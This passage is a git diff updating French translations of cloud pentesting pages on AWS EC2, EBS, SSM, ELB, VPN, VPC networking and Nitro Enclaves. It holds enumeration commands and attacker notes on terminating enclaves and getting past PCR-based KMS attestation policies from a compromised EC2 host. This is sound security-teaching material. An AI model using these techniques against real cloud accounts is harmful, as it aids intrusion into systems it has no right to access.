**remplacés** par la véritable **valeur d'attribut à l'exécution**. Par conséquent, une connexion comme la précédente peut être contournée avec quelque chose comme : ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 8ad88bc74..d53dfd2ad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -149,7 +149,7 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions EC ## EBS -Les **snapshots** Amazon **EBS** (Elastic Block Store) sont essentiellement des **sauvegardes** statiques des volumes EBS AWS. En d'autres termes, ce sont des **copies** des **disques** attachés à une instance **EC2** à un moment donné. Les snapshots EBS peuvent être copiés entre régions et comptes, ou même téléchargés et exécutés localement. +Les **snapshots** **EBS** (Elastic Block Store) d'Amazon sont essentiellement des **sauvegardes** statiques des volumes EBS d'AWS. En d'autres termes, ce sont des **copies** des **disques** attachés à une instance **EC2** à un moment donné. Les snapshots EBS peuvent être copiés entre régions et comptes, ou même téléchargés et exécutés localement. Les snapshots peuvent contenir des **informations sensibles** telles que **du code source ou des clés API**, par conséquent, si vous en avez l'occasion, il est recommandé de les vérifier. @@ -167,11 +167,11 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions EB ## SSM -**Amazon Simple Systems Manager (SSM)** permet de gérer à distance des flottes d'instances EC2 pour faciliter leur administration. Chacune de ces instances doit exécuter le **service SSM Agent car ce service sera celui qui recevra les actions et les exécutera** via l'API AWS. +**Amazon Simple Systems Manager (SSM)** permet de gérer à distance des flottes d'instances EC2 pour faciliter leur administration. Chacune de ces instances doit exécuter le **service SSM Agent car c'est ce service qui recevra les actions et les exécutera** via l'API AWS. -L'**Agent SSM** permet à Systems Manager de mettre à jour, gérer et configurer ces ressources. L'agent **traite les demandes du service Systems Manager dans le Cloud AWS**, puis les exécute comme spécifié dans la demande. +Le **SSM Agent** permet à Systems Manager de mettre à jour, gérer et configurer ces ressources. L'agent **traite les demandes du service Systems Manager dans le Cloud AWS**, puis les exécute comme spécifié dans la demande. -L'**Agent SSM vient**[ **préinstallé dans certaines AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ou vous devez [**les installer manuellement**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) sur les instances. De plus, le rôle IAM utilisé à l'intérieur de l'instance doit avoir la politique **AmazonEC2RoleforSSM** attachée pour pouvoir communiquer. +Le **SSM Agent est** [**préinstallé dans certaines AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ou vous devez [**les installer manuellement**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) sur les instances. De plus, le rôle IAM utilisé à l'intérieur de l'instance doit avoir la politique **AmazonEC2RoleforSSM** attachée pour pouvoir communiquer. ### Énumération ```bash @@ -188,7 +188,7 @@ ps aux | grep amazon-ssm ``` ### Privesc -Dans la page suivante, vous pouvez vérifier comment **abuser des permissions SSM pour escalader les privilèges** : +Dans la page suivante, vous pouvez vérifier comment **abuser des permissions SSM pour élever les privilèges** : {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -196,7 +196,7 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions SS ## ELB -**Elastic Load Balancing** (ELB) est un **service d'équilibrage de charge pour les déploiements Amazon Web Services** (AWS). ELB distribue automatiquement **le trafic d'application entrant** et ajuste les ressources pour répondre aux demandes de trafic. +**Elastic Load Balancing** (ELB) est un **service de répartition de charge pour les déploiements Amazon Web Services** (AWS). ELB **distribue automatiquement le trafic d'application entrant** et ajuste les ressources pour répondre aux demandes de trafic. ### Enumeration ```bash @@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro est un ensemble de **technologies innovantes** qui forment la plateforme sous-jacente pour les instances AWS EC2. Introduit par Amazon pour **améliorer la sécurité, la performance et la fiabilité**, Nitro utilise des **composants matériels personnalisés et un hyperviseur léger**. Il abstrait une grande partie des fonctionnalités de virtualisation traditionnelles vers du matériel et des logiciels dédiés, **minimisant la surface d'attaque** et améliorant l'efficacité des ressources. En déchargeant les fonctions de virtualisation, Nitro permet aux instances EC2 de fournir une **performance proche du bare-metal**, ce qui est particulièrement bénéfique pour les applications gourmandes en ressources. De plus, la puce de sécurité Nitro garantit spécifiquement la **sécurité du matériel et du firmware**, renforçant ainsi son architecture robuste. +AWS Nitro est une suite de **technologies innovantes** qui forme la plateforme sous-jacente pour les instances AWS EC2. Introduit par Amazon pour **améliorer la sécurité, la performance et la fiabilité**, Nitro utilise des **composants matériels personnalisés et un hyperviseur léger**. Il abstrait une grande partie de la fonctionnalité de virtualisation traditionnelle vers du matériel et des logiciels dédiés, **minimisant la surface d'attaque** et améliorant l'efficacité des ressources. En déchargeant les fonctions de virtualisation, Nitro permet aux instances EC2 de fournir une **performance proche du bare-metal**, ce qui est particulièrement bénéfique pour les applications gourmandes en ressources. De plus, la puce de sécurité Nitro garantit spécifiquement la **sécurité du matériel et du firmware**, renforçant ainsi son architecture robuste. -Get more information and how to enumerate it from: +Obtenez plus d'informations et comment l'énumérer à partir de : {{#ref}} aws-nitro-enum.md @@ -238,34 +238,34 @@ aws-nitro-enum.md ## VPN -Un VPN permet de connecter votre **réseau sur site (site-to-site VPN)** ou les **ordinateurs portables des travailleurs (Client VPN)** à un **AWS VPC** afin que les services puissent être accessibles sans avoir besoin de les exposer à Internet. +Un VPN permet de connecter votre **réseau sur site (site-à-site VPN)** ou les **ordinateurs portables des travailleurs (Client VPN)** avec un **AWS VPC** afin que les services puissent être accessibles sans avoir besoin de les exposer à Internet. #### Composants de base du VPN AWS -1. **Customer Gateway**: -- Un Customer Gateway est une ressource que vous créez dans AWS pour représenter votre côté d'une connexion VPN. -- C'est essentiellement un appareil physique ou une application logicielle de votre côté de la connexion Site-to-Site VPN. -- Vous fournissez des informations de routage et l'adresse IP publique de votre appareil réseau (comme un routeur ou un pare-feu) à AWS pour créer un Customer Gateway. -- Il sert de point de référence pour établir la connexion VPN et n'entraîne pas de frais supplémentaires. -2. **Virtual Private Gateway**: -- Un Virtual Private Gateway (VPG) est le concentrateur VPN du côté Amazon de la connexion Site-to-Site VPN. -- Il est attaché à votre VPC et sert de cible pour votre connexion VPN. +1. **Passerelle Client** : +- Une Passerelle Client est une ressource que vous créez dans AWS pour représenter votre côté d'une connexion VPN. +- C'est essentiellement un dispositif physique ou une application logicielle de votre côté de la connexion Site-à-Site VPN. +- Vous fournissez des informations de routage et l'adresse IP publique de votre dispositif réseau (comme un routeur ou un pare-feu) à AWS pour créer une Passerelle Client. +- Elle sert de point de référence pour établir la connexion VPN et n'entraîne pas de frais supplémentaires. +2. **Passerelle Privée Virtuelle** : +- Une Passerelle Privée Virtuelle (VPG) est le concentrateur VPN du côté Amazon de la connexion Site-à-Site VPN. +- Elle est attachée à votre VPC et sert de cible pour votre connexion VPN. - VPG est le point de terminaison du côté AWS pour la connexion VPN. -- Il gère la communication sécurisée entre votre VPC et votre réseau sur site. -3. **Site-to-Site VPN Connection**: -- Une connexion Site-to-Site VPN connecte votre réseau sur site à un VPC via un tunnel VPN IPsec sécurisé. -- Ce type de connexion nécessite un Customer Gateway et un Virtual Private Gateway. +- Elle gère la communication sécurisée entre votre VPC et votre réseau sur site. +3. **Connexion VPN Site-à-Site** : +- Une connexion VPN Site-à-Site connecte votre réseau sur site à un VPC via un tunnel VPN IPsec sécurisé. +- Ce type de connexion nécessite une Passerelle Client et une Passerelle Privée Virtuelle. - Il est utilisé pour une communication sécurisée, stable et cohérente entre votre centre de données ou réseau et votre environnement AWS. -- Utilisé généralement pour des connexions régulières et à long terme, et est facturé en fonction de la quantité de données transférées via la connexion. -4. **Client VPN Endpoint**: +- Typiquement utilisé pour des connexions régulières et à long terme, et est facturé en fonction de la quantité de données transférées via la connexion. +4. **Point de terminaison Client VPN** : - Un point de terminaison Client VPN est une ressource que vous créez dans AWS pour activer et gérer les sessions VPN client. -- Il est utilisé pour permettre à des appareils individuels (comme des ordinateurs portables, des smartphones, etc.) de se connecter en toute sécurité aux ressources AWS ou à votre réseau sur site. -- Il diffère du Site-to-Site VPN en ce qu'il est conçu pour des clients individuels plutôt que pour connecter des réseaux entiers. -- Avec Client VPN, chaque appareil client utilise un logiciel client VPN pour établir une connexion sécurisée. +- Il est utilisé pour permettre à des dispositifs individuels (comme des ordinateurs portables, des smartphones, etc.) de se connecter en toute sécurité aux ressources AWS ou à votre réseau sur site. +- Il diffère du VPN Site-à-Site en ce qu'il est conçu pour des clients individuels plutôt que de connecter des réseaux entiers. +- Avec le Client VPN, chaque dispositif client utilise un logiciel client VPN pour établir une connexion sécurisée. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +Vous pouvez [**trouver plus d'informations sur les avantages et les composants des VPN AWS ici**](aws-vpc-and-networking-basic-information.md#vpn). -### Enumeration +### Énumération ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0bcad23e0..6b89815c1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,11 +4,11 @@ ## Informations de base -AWS Nitro est une suite de **technologies innovantes** qui constitue la plateforme sous-jacente pour les instances AWS EC2. Introduit par Amazon pour **améliorer la sécurité, la performance et la fiabilité**, Nitro s'appuie sur des **composants matériels personnalisés et un hyperviseur léger**. Il abstrait une grande partie des fonctionnalités de virtualisation traditionnelles vers du matériel et des logiciels dédiés, **minimisant la surface d'attaque** et améliorant l'efficacité des ressources. En déchargeant les fonctions de virtualisation, Nitro permet aux instances EC2 de fournir une **performance proche du bare-metal**, ce qui est particulièrement bénéfique pour les applications gourmandes en ressources. De plus, la puce de sécurité Nitro garantit spécifiquement la **sécurité du matériel et du firmware**, renforçant ainsi son architecture robuste. +AWS Nitro est une suite de **technologies innovantes** qui forme la plateforme sous-jacente pour les instances AWS EC2. Introduit par Amazon pour **améliorer la sécurité, la performance et la fiabilité**, Nitro s'appuie sur des **composants matériels personnalisés et un hyperviseur léger**. Il abstrait une grande partie des fonctionnalités de virtualisation traditionnelles vers du matériel et des logiciels dédiés, **minimisant la surface d'attaque** et améliorant l'efficacité des ressources. En déchargeant les fonctions de virtualisation, Nitro permet aux instances EC2 de fournir des **performances proches du bare-metal**, ce qui est particulièrement bénéfique pour les applications gourmandes en ressources. De plus, la puce de sécurité Nitro garantit spécifiquement la **sécurité du matériel et du firmware**, renforçant ainsi son architecture robuste. ### Nitro Enclaves -**AWS Nitro Enclaves** fournit un environnement de calcul sécurisé et **isolé au sein des instances Amazon EC2**, spécifiquement conçu pour le traitement de données hautement sensibles. Tirant parti du système AWS Nitro, ces enclaves garantissent une **isolation et une sécurité robustes**, idéales pour **traiter des informations confidentielles** telles que des données personnelles identifiables (PII) ou des dossiers financiers. Elles disposent d'un environnement minimaliste, réduisant considérablement le risque d'exposition des données. De plus, les Nitro Enclaves prennent en charge l'attestation cryptographique, permettant aux utilisateurs de vérifier que seul le code autorisé s'exécute, ce qui est crucial pour maintenir des normes strictes de conformité et de protection des données. +**AWS Nitro Enclaves** fournit un environnement de calcul sécurisé et **isolé au sein des instances Amazon EC2**, spécifiquement conçu pour le traitement de données hautement sensibles. S'appuyant sur le système AWS Nitro, ces enclaves garantissent une **isolation et une sécurité robustes**, idéales pour **traiter des informations confidentielles** telles que des données personnelles identifiables (PII) ou des dossiers financiers. Elles disposent d'un environnement minimaliste, réduisant considérablement le risque d'exposition des données. De plus, les Nitro Enclaves prennent en charge l'attestation cryptographique, permettant aux utilisateurs de vérifier que seul un code autorisé est en cours d'exécution, ce qui est crucial pour maintenir des normes strictes de conformité et de protection des données. > [!CAUTION] > Les images Nitro Enclave sont **exécutées depuis l'intérieur des instances EC2** et vous ne pouvez pas voir depuis la console web AWS si une instance EC2 exécute des images dans Nitro Enclave ou non. @@ -31,15 +31,15 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` -## Nitro Enclave Images +## Images Nitro Enclave -Les images que vous pouvez exécuter dans Nitro Enclave sont basées sur des images docker, donc vous pouvez créer vos images Nitro Enclave à partir d'images docker comme : +Les images que vous pouvez exécuter dans Nitro Enclave sont basées sur des images docker, vous pouvez donc créer vos images Nitro Enclave à partir d'images docker comme : ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` -Comme vous pouvez le voir, les images Nitro Enclave utilisent l'extension **`eif`** (Fichier d'image d'enclave). +Comme vous pouvez le voir, les images Nitro Enclave utilisent l'extension **`eif`** (Fichier d'Image d'Enclave). La sortie ressemblera à : ``` @@ -71,18 +71,18 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` -### Énumérer les Enclaves +### Énumérer les enclaves Si vous compromettez un hôte EC2, il est possible d'obtenir une liste des images d'enclave en cours d'exécution avec : ```bash nitro-cli describe-enclaves ``` -Il est **impossible d'obtenir un shell** à l'intérieur d'une image d'enclave en cours d'exécution car c'est le principal objectif de l'enclave, cependant, si vous utilisez le paramètre **`--debug-mode`**, il est possible d'obtenir le **stdout** avec : +Il n'est **pas possible d'obtenir un shell** à l'intérieur d'une image d'enclave en cours d'exécution car c'est le principal objectif de l'enclave, cependant, si vous utilisez le paramètre **`--debug-mode`**, il est possible d'obtenir le **stdout** avec : ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Terminer les Enclaves +### Terminer les enclaves Si un attaquant compromet une instance EC2, par défaut, il ne pourra pas obtenir un shell à l'intérieur, mais il pourra **les terminer** avec : ```shell @@ -212,9 +212,9 @@ Il est possible de voir les adresses vsock (**`:`**) utilisées par l sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` -## Attestation Nitro Enclave & KMS +## Nitro Enclave Atestation & KMS -Le SDK Nitro Enclaves permet à une enclave de demander un **document d'attestation signé cryptographiquement** au **Hyperviseur** Nitro, qui inclut des **mesures uniques** spécifiques à cette enclave. Ces mesures, qui incluent des **hashs et des registres de configuration de plateforme (PCRs)**, sont utilisées lors du processus d'attestation pour **prouver l'identité de l'enclave** et **établir la confiance avec des services externes**. Le document d'attestation contient généralement des valeurs comme PCR0, PCR1 et PCR2, que vous avez rencontrées auparavant lors de la construction et de l'enregistrement d'un EIF d'enclave. +Le SDK Nitro Enclaves permet à une enclave de demander un **document d'attestation signé cryptographiquement** au **Hyperviseur** Nitro, qui inclut des **mesures uniques** spécifiques à cette enclave. Ces mesures, qui incluent des **hashes et des registres de configuration de plateforme (PCRs)**, sont utilisées lors du processus d'attestation pour **prouver l'identité de l'enclave** et **établir la confiance avec des services externes**. Le document d'attestation contient généralement des valeurs comme PCR0, PCR1 et PCR2, que vous avez rencontrées auparavant lors de la création et de l'enregistrement d'un EIF d'enclave. D'après les [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), voici les valeurs PCR : @@ -223,17 +223,17 @@ D'après les [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashb Vous pouvez intégrer l'**attestation cryptographique** dans vos applications et tirer parti des intégrations préconstruites avec des services comme **AWS KMS**. AWS KMS peut **valider les attestations d'enclave** et offre des clés de condition basées sur l'attestation (`kms:RecipientAttestation:ImageSha384` et `kms:RecipientAttestation:PCR`) dans ses politiques de clés. Ces politiques garantissent qu'AWS KMS permet des opérations utilisant la clé KMS **uniquement si le document d'attestation de l'enclave est valide** et répond aux **conditions spécifiées**. > [!TIP] -> Notez que les Enclaves en mode debug (--debug) génèrent des documents d'attestation avec des PCRs composés de zéros (`000000000000000000000000000000000000000000000000`). Par conséquent, les politiques KMS vérifiant ces valeurs échoueront. +> Notez que les Enclaves en mode debug (--debug) génèrent des documents d'attestation avec des PCR composés de zéros (`000000000000000000000000000000000000000000000000`). Par conséquent, les politiques KMS vérifiant ces valeurs échoueront. -### Contournement des PCR +### PCR Bypass -Du point de vue d'un attaquant, notez que certains PCRs permettraient de modifier certaines parties ou l'ensemble de l'image de l'enclave et seraient toujours valides (par exemple, PCR4 vérifie uniquement l'ID de l'instance parente, donc exécuter n'importe quelle image d'enclave dans cet EC2 permettra de satisfaire cette exigence potentielle de PCR). +Du point de vue d'un attaquant, notez que certains PCR permettraient de modifier certaines parties ou l'ensemble de l'image de l'enclave et seraient toujours valides (par exemple, PCR4 vérifie uniquement l'ID de l'instance parente, donc exécuter n'importe quelle image d'enclave dans cette EC2 permettra de satisfaire cette exigence potentielle de PCR). Par conséquent, un attaquant qui compromet l'instance EC2 pourrait être en mesure d'exécuter d'autres images d'enclave afin de contourner ces protections. La recherche sur la façon de modifier/créer de nouvelles images pour contourner chaque protection (en particulier celles qui ne sont pas si évidentes) est encore à faire. -## Références +## References - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) - Toutes les parties du tutoriel Nitro d'AWS : [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 9f7e01bd2..8b3227bc1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,8 +1,8 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Informations de base sur le réseau {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## Réseau AWS en un coup d'œil Un **VPC** contient un **CIDR de réseau** comme 10.0.0.0/16 (avec sa **table de routage** et **ACL de réseau**). @@ -27,7 +27,7 @@ De plus, pour **accéder à Internet**, il y a certaines configurations intéres Amazon **Virtual Private Cloud** (Amazon VPC) vous permet de **lancer des ressources AWS dans un réseau virtuel** que vous avez défini. Ce réseau virtuel aura plusieurs sous-réseaux, des passerelles Internet pour accéder à Internet, des ACL, des groupes de sécurité, des IP... -### Subnets +### Sous-réseaux Les sous-réseaux aident à renforcer un niveau de sécurité plus élevé. **Le regroupement logique de ressources similaires** vous aide également à maintenir une **facilité de gestion** à travers votre infrastructure. @@ -40,7 +40,7 @@ Les sous-réseaux aident à renforcer un niveau de sécurité plus élevé. **Le
-### Route Tables +### Tables de routage Les tables de routage déterminent le routage du trafic pour un sous-réseau au sein d'un VPC. Elles déterminent quel trafic réseau est redirigé vers Internet ou vers une connexion VPN. Vous trouverez généralement l'accès à : @@ -63,18 +63,18 @@ Dans les images suivantes, vous pouvez vérifier les différences entre un rése - Il est plus fréquent d'autoriser/refuser l'accès en utilisant des groupes de sécurité, mais c'est le seul moyen de couper complètement les shells inversés établis. Une règle modifiée dans un groupe de sécurité ne stoppe pas les connexions déjà établies. - Cependant, cela s'applique à l'ensemble du sous-réseau, soyez prudent lorsque vous interdisez des éléments car des fonctionnalités nécessaires pourraient être perturbées. -### Security Groups +### Groupes de sécurité Les groupes de sécurité sont un **pare-feu** virtuel qui contrôle le trafic réseau entrant et sortant vers des **instances** dans un VPC. Relation 1 SG à M instances (généralement 1 à 1).\ Cela est généralement utilisé pour ouvrir des ports dangereux dans les instances, comme le port 22 par exemple :
-### Elastic IP Addresses +### Adresses IP élastiques -Une _adresse IP élastique_ est une **adresse IPv4 statique** conçue pour l'informatique en nuage dynamique. Une adresse IP élastique est allouée à votre compte AWS et vous appartient jusqu'à ce que vous la libériez. En utilisant une adresse IP élastique, vous pouvez masquer la défaillance d'une instance ou d'un logiciel en remappant rapidement l'adresse à une autre instance de votre compte. +Une _adresse IP élastique_ est une **adresse IPv4 statique** conçue pour le cloud computing dynamique. Une adresse IP élastique est allouée à votre compte AWS et vous appartient jusqu'à ce que vous la libériez. En utilisant une adresse IP élastique, vous pouvez masquer la défaillance d'une instance ou d'un logiciel en remappant rapidement l'adresse à une autre instance de votre compte. -### Connection between subnets +### Connexion entre sous-réseaux Par défaut, tous les sous-réseaux ont l'**attribution automatique d'adresses IP publiques désactivée**, mais cela peut être activé. @@ -82,17 +82,17 @@ Par défaut, tous les sous-réseaux ont l'**attribution automatique d'adresses I Si vous **connectez un sous-réseau avec un autre sous-réseau, vous ne pouvez pas accéder aux sous-réseaux connectés** avec l'autre sous-réseau, vous devez créer une connexion avec eux directement. **Cela s'applique également aux passerelles Internet**. Vous ne pouvez pas passer par une connexion de sous-réseau pour accéder à Internet, vous devez attribuer la passerelle Internet à votre sous-réseau. -### VPC Peering +### Peering VPC Le peering VPC vous permet de **connecter deux ou plusieurs VPC ensemble**, en utilisant IPV4 ou IPV6, comme s'ils faisaient partie du même réseau. -Une fois la connectivité de pair établie, **les ressources dans un VPC peuvent accéder aux ressources dans l'autre**. La connectivité entre les VPC est mise en œuvre à travers l'infrastructure réseau AWS existante, et elle est donc hautement disponible sans goulet d'étranglement de bande passante. Comme **les connexions de pair fonctionnent comme si elles faisaient partie du même réseau**, il y a des restrictions concernant vos plages de blocs CIDR qui peuvent être utilisées.\ -Si vous avez des plages CIDR **chevauchantes ou dupliquées** pour votre VPC, alors **vous ne pourrez pas établir le peering des VPC** ensemble.\ +Une fois la connectivité de pair établie, **les ressources dans un VPC peuvent accéder aux ressources dans l'autre**. La connectivité entre les VPC est mise en œuvre via l'infrastructure réseau AWS existante, et elle est donc hautement disponible sans goulet d'étranglement de bande passante. Comme **les connexions de pair fonctionnent comme si elles faisaient partie du même réseau**, il y a des restrictions concernant les plages de blocs CIDR que vous pouvez utiliser.\ +Si vous avez des plages CIDR **chevauchantes ou dupliquées** pour votre VPC, alors **vous ne pourrez pas établir de peering entre les VPC**.\ Chaque VPC AWS **ne communiquera qu'avec son pair**. Par exemple, si vous avez une connexion de peering entre le VPC 1 et le VPC 2, et une autre connexion entre le VPC 2 et le VPC 3 comme montré, alors le VPC 1 et le VPC 2 pourraient communiquer directement entre eux, tout comme le VPC 2 et le VPC 3, cependant, le VPC 1 et le VPC 3 ne pourraient pas. **Vous ne pouvez pas router à travers un VPC pour accéder à un autre.** -### **VPC Flow Logs** +### **Journaux de flux VPC** -Au sein de votre VPC, vous pourriez potentiellement avoir des centaines voire des milliers de ressources communiquant entre différents sous-réseaux, à la fois publics et privés, et également entre différents VPC via des connexions de peering VPC. **Les journaux de flux VPC vous permettent de capturer des informations sur le trafic IP qui circule entre les interfaces réseau de vos ressources au sein de votre VPC**. +Au sein de votre VPC, vous pourriez potentiellement avoir des centaines voire des milliers de ressources communiquant entre différents sous-réseaux, à la fois publics et privés, et également entre différents VPC via des connexions de peering VPC. **Les journaux de flux VPC vous permettent de capturer des informations sur le trafic IP qui circule entre vos interfaces réseau de vos ressources au sein de votre VPC**. Contrairement aux journaux d'accès S3 et aux journaux d'accès CloudFront, les **données de journal générées par les journaux de flux VPC ne sont pas stockées dans S3. Au lieu de cela, les données de journal capturées sont envoyées aux journaux CloudWatch**. @@ -103,42 +103,42 @@ Limitations : - Une fois qu'un journal de flux VPC a été créé, il ne peut pas être modifié. Pour modifier la configuration du journal de flux VPC, vous devez le supprimer puis en recréer un nouveau. - Le trafic suivant n'est pas surveillé et capturé par les journaux. Le trafic DHCP au sein du VPC, le trafic des instances destiné au serveur DNS Amazon. - Tout trafic destiné à l'adresse IP du routeur par défaut du VPC et le trafic vers et depuis les adresses suivantes, 169.254.169.254 qui est utilisé pour rassembler les métadonnées des instances, et 169.254.169.123 qui est utilisé pour le service de synchronisation horaire Amazon. -- Trafic relatif à une licence d'activation Windows d'une instance Windows. +- Trafic lié à une licence d'activation Windows d'une instance Windows. - Trafic entre une interface de répartiteur de charge réseau et une interface de réseau de point de terminaison. Pour chaque interface réseau qui publie des données dans le groupe de journaux CloudWatch, elle utilisera un flux de journal différent. Et dans chacun de ces flux, il y aura les données d'événement de journal de flux qui montrent le contenu des entrées de journal. Chacun de ces **journaux capture des données pendant une fenêtre d'environ 10 à 15 minutes**. ## VPN -### Basic AWS VPN Components +### Composants de base du VPN AWS -1. **Customer Gateway** : +1. **Passerelle client** : - Une passerelle client est une ressource que vous créez dans AWS pour représenter votre côté d'une connexion VPN. - C'est essentiellement un appareil physique ou une application logicielle de votre côté de la connexion VPN Site-à-Site. - Vous fournissez des informations de routage et l'adresse IP publique de votre appareil réseau (comme un routeur ou un pare-feu) à AWS pour créer une passerelle client. - Elle sert de point de référence pour établir la connexion VPN et n'entraîne pas de frais supplémentaires. -2. **Virtual Private Gateway** : +2. **Passerelle privée virtuelle** : - Une passerelle privée virtuelle (VPG) est le concentrateur VPN du côté Amazon de la connexion VPN Site-à-Site. - Elle est attachée à votre VPC et sert de cible pour votre connexion VPN. -- La VPG est le point de terminaison du côté AWS pour la connexion VPN. +- VPG est le point de terminaison du côté AWS pour la connexion VPN. - Elle gère la communication sécurisée entre votre VPC et votre réseau sur site. -3. **Site-to-Site VPN Connection** : +3. **Connexion VPN Site-à-Site** : - Une connexion VPN Site-à-Site connecte votre réseau sur site à un VPC via un tunnel VPN IPsec sécurisé. - Ce type de connexion nécessite une passerelle client et une passerelle privée virtuelle. - Elle est utilisée pour une communication sécurisée, stable et cohérente entre votre centre de données ou réseau et votre environnement AWS. - Typiquement utilisée pour des connexions régulières et à long terme et est facturée en fonction de la quantité de données transférées via la connexion. -4. **Client VPN Endpoint** : +4. **Point de terminaison VPN client** : - Un point de terminaison VPN client est une ressource que vous créez dans AWS pour activer et gérer les sessions VPN client. -- Il est utilisé pour permettre à des appareils individuels (comme des ordinateurs portables, des smartphones, etc.) de se connecter en toute sécurité aux ressources AWS ou à votre réseau sur site. -- Il diffère de la connexion VPN Site-à-Site en ce qu'il est conçu pour des clients individuels plutôt que de connecter des réseaux entiers. +- Il est utilisé pour permettre à des appareils individuels (comme des ordinateurs portables, des smartphones, etc.) de se connecter de manière sécurisée aux ressources AWS ou à votre réseau sur site. +- Il diffère du VPN Site-à-Site en ce qu'il est conçu pour des clients individuels plutôt que de connecter des réseaux entiers. - Avec le VPN client, chaque appareil client utilise un logiciel client VPN pour établir une connexion sécurisée. -### Site-to-Site VPN +### VPN Site-à-Site -**Connectez votre réseau sur site avec votre VPC.** +**Connectez votre réseau sur site à votre VPC.** - **Connexion VPN** : Une connexion sécurisée entre votre équipement sur site et vos VPC. -- **Tunnel VPN** : Un lien crypté où les données peuvent passer du réseau client vers ou depuis AWS. +- **Tunnel VPN** : Un lien crypté où les données peuvent passer du réseau client vers AWS ou vice versa. Chaque connexion VPN comprend deux tunnels VPN que vous pouvez utiliser simultanément pour une haute disponibilité. @@ -156,7 +156,7 @@ De plus, prenez en compte les éléments suivants lorsque vous utilisez le VPN S - Lorsque vous connectez vos VPC à un réseau sur site commun, nous vous recommandons d'utiliser des blocs CIDR non chevauchants pour vos réseaux. -### Client VPN +### VPN client **Connectez-vous depuis votre machine à votre VPC** @@ -164,7 +164,7 @@ De plus, prenez en compte les éléments suivants lorsque vous utilisez le VPN S - **Point de terminaison VPN client :** La ressource que vous créez et configurez pour activer et gérer les sessions VPN client. C'est la ressource où toutes les sessions VPN client sont terminées. - **Réseau cible :** Un réseau cible est le réseau que vous associez à un point de terminaison VPN client. **Un sous-réseau d'un VPC est un réseau cible**. L'association d'un sous-réseau avec un point de terminaison VPN client vous permet d'établir des sessions VPN. Vous pouvez associer plusieurs sous-réseaux à un point de terminaison VPN client pour une haute disponibilité. Tous les sous-réseaux doivent provenir du même VPC. Chaque sous-réseau doit appartenir à une zone de disponibilité différente. -- **Route** : Chaque point de terminaison VPN client a une table de routage qui décrit les routes de réseau de destination disponibles. Chaque route dans la table de routage spécifie le chemin pour le trafic vers des ressources ou réseaux spécifiques. +- **Route** : Chaque point de terminaison VPN client a une table de routage qui décrit les routes réseau de destination disponibles. Chaque route dans la table de routage spécifie le chemin pour le trafic vers des ressources ou réseaux spécifiques. - **Règles d'autorisation :** Une règle d'autorisation **restreint les utilisateurs qui peuvent accéder à un réseau**. Pour un réseau spécifié, vous configurez le groupe Active Directory ou fournisseur d'identité (IdP) qui est autorisé à accéder. Seuls les utilisateurs appartenant à ce groupe peuvent accéder au 